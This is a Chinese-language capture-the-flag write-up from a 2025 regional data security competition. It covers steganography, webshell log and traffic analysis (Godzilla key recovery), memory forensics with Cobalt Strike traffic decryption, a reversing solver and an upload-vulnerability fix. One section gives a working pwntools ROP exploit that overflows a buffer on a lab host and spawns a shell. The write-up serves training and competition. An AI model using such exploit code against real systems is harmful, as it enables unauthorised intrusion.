2025自治区”工会杯” 数据安全管理员竞赛 奇怪的图片
拿到图片很容易发现图片有下半截不全 先用010Editor分析图片内容 并修改图片高度
得到一个密码
再分析文件
发现文件里拼接一个压缩包 使用 binwalk 或者foremost 分离文件
使用 密码解密压缩包 得到flag
日志分析 筛选 响应200的POST请求 发现明显的webshell请求特征 d7b3ac8db0f44801b24000d3e6551799 即是密码
流量数据分析 题目:流量数据分析1
问题1 :找到攻击者使用的 WebShell 木马文件名称,将木马文件名
作为flag进行提交。
64a426f73480e39e01589dcc832b5b58.php
题目:流量数据分析2
问题2 :识别 WebShell 建立连接时使用的 KEY 密钥 ,并以 FLAG{}
格式提交。
找到上传的php流量
使用base64解密
2591c98b70119fe6
题目:流量数据分析3
问题3 :攻击者最终读取了 flag.txt
文件,请将该文件内容作为 FLAG{}
格式提交。
CTF-NetA 哥斯拉流量解密手动设置秘钥为上题的key 解密
flag{DC505D30-77D6-41D9-9211-E476ABC8A7E4}
缓冲区溢出
逆向分析需要绕过第一次read 才能利用第二次read进行溢出 可以使用负数绕过
可以使用 pwnpasi 快速获取需要的地址
bin/sh 地址
编写payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import * p = remote('192.168.200.202' , 28860 ) p.recvuntil(b"PWN1\n" ) p.send(b'\x81' ) payload = b'A' * (80 +8 ) payload += p64(0x400863 ) payload += p64(0x400884 ) payload += p64(0x400571 ) payload += p64(0x4005b0 ) p.send(payload) p.interactive()
内存取证 题目来自 NepCTF 2025-客服小美
使用 Tokeii 的 LovelyMem 工具 一把梭
题目1 : 受攻击的用户名
查看系统信息
题目2 : 恶意程序传输 ip+端口
查看网络信息
题目3 : 被窃取的数据
cs流量解密
使用进程解密cs流量
逆向分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import struct v8_0 = 0x4316E277C0B6A066 v8_1 = 0x120182B523B0D340 v8_2 = 0x0000155483E46721 target = struct.pack("<QQQ" , v8_0, v8_1, v8_2)def nibbleswap (b: int ) -> int : """程序中 s[i] = (16*b) | (b >> 4) 等价于高低半字节交换""" return ((b & 0x0F ) << 4 ) | ((b & 0xF0 ) >> 4 ) after_func = bytes (nibbleswap(x) for x in target) orig = bytearray ()for i, t in enumerate (after_func): if i == 0 : orig.append(t) else : orig.append(t ^ after_func[i-1 ]) flag_bytes = orig.split(b"\x00" , 1 )[0 ] flag = flag_bytes.decode("ascii" , errors="ignore" )print ("Recovered flag:" , flag)def forward_transform (s_bytes: bytes ) -> bytes : s = bytearray (s_bytes) for i in range (1 , min (30 , len (s))): if s[i] == 0 : break s[i] ^= s[i-1 ] out = bytearray () for i in range (min (30 , len (s))): if s[i] == 0 : break out.append(nibbleswap(s[i])) return bytes (out) verify = forward_transform(flag_bytes)print ("Matches target prefix:" , target.startswith(verify))
上传漏洞修复 登录服务器 查了var/www 目录在upload 目录中发现ma.php
分析upload.php 在过滤后缀数组里加上 .php 禁止php 文件上传
删除 ma.php
程序判定后在根目录出现flag